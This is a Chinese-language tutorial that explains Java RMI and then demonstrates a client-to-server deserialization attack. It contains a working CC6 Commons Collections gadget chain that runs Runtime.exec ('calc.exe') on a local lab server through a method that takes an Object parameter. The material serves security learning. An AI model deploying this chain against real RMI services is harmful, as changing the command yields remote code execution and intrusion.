rmi组成
RMI(Remote Method Invocation,远程方法调用)是Java的一项技术,允许一个Java对象在一个Java虚拟机(JVM)中调用另一个远程JVM中的对象的方法。
RMI分为三个主体部分:
- Client-客户端:客户端调用服务端的方法
- Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果
- Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用,在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功
RMI的调用目的就是调用一个服务端
的类和调用一个自己客户端
的类一样,但是RMI调用服务端
的类,这个类的执行是在服务端
的
服务端:
编写一个远程接口:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRemoteObj extends Remote {
public String Hello() throws RemoteException;
void doWork(Object object)throws RemoteException;
}
实现远程接口:
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException{
}
public String Hello() {
System.out.println("hello~~~()");
return "Hello,World!";
}
@Override
public void doWork(Object object) throws RemoteException {
}
}
创建远程服务类RMIserver
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIserver {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
IRemoteObj remoteObj = new RemoteObjImpl();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://localhost:1099/leekos",remoteObj);
}
}
客户端:
创建一个远程服务接口
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.Map;
public interface IRemoteObj extends Remote {
String Hello() throws RemoteException;
void doWork(Object object)throws RemoteException;
}
创建客户端远程服务:
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
IRemoteObj remoteObj = (IRemoteObj) Naming.lookup("rmi://localhost:1099/leekos");
String hello = remoteObj.Hello();
System.out.println(hello);
}
}
服务端结构层:
客户端结构层:
然后先执行服务端,再执行客户端
执行完成后:
服务端:
客户端:
可以看到成功调用了服务端的Hello
方法,打印出来了hello\~\~\~()
。
所以客户端调用远程方法时,实际上是发送一个调用请求到服务器,由服务器执行该方法,并将结果返回给客户端。
RMI攻击——客户端攻击服务端
既然知道RMI是由客户端调用远程方法,发送一个调用请求到服务器,然后服务器会执行该方法,并且知道RMI在传递的过程中会发生反序列化和序列化的过程。那么如果服务端上的远程对象的方法形参中存在可以传递Object
类型的方法,那我们传入一个构造好的序列化的利用链,那么就可以在反序列化被加载
上面代码中可以看到在服务端中IRemoteObj
抽象接口是存在doWork()
这个抽象方法的
在服务端中方法的具体实现
现在已经在服务端有了可以传递Object
类型的方法,那么如果我们在客户端远程调用这个方法,并且传递已经构造好的序列化的链子
记得在服务端添加CC依赖,这里使用cc6的链子去打
EXP:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {
IRemoteObj iRemoteHelloWorld = (IRemoteObj) Naming.lookup("rmi://localhost:1099/leekos");
Map map = getPayload();
iRemoteHelloWorld.doWork(map);
}
public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[]{};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class,
Class[].class}, new Object[]{"getRuntime",
new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class,
Object[].class}, new Object[]{null, new
Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class
},
new String[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map uselessMap = new HashMap();
Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");
Map hashMap = new HashMap();
/*
*此处使用put()触发了hash()方法,从而未经readObject() RCE
*我们需要先将ChainedTransformer值设置为假的fakeTransformers
*/
hashMap.put(tiedMapEntry, "value");
//清空由于 hashMap.put 对 LazyMap 造成的影响
outerMap.clear();
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer, transformers);
return hashMap;
}
}
客户端运行后,成功弹出计算器
所以RMI触发的条件:
- 使用具有存在漏洞的相关依赖
- RMI提供的远程对象的方法形参中有
Object
类型,这样才能实现反序列化链利用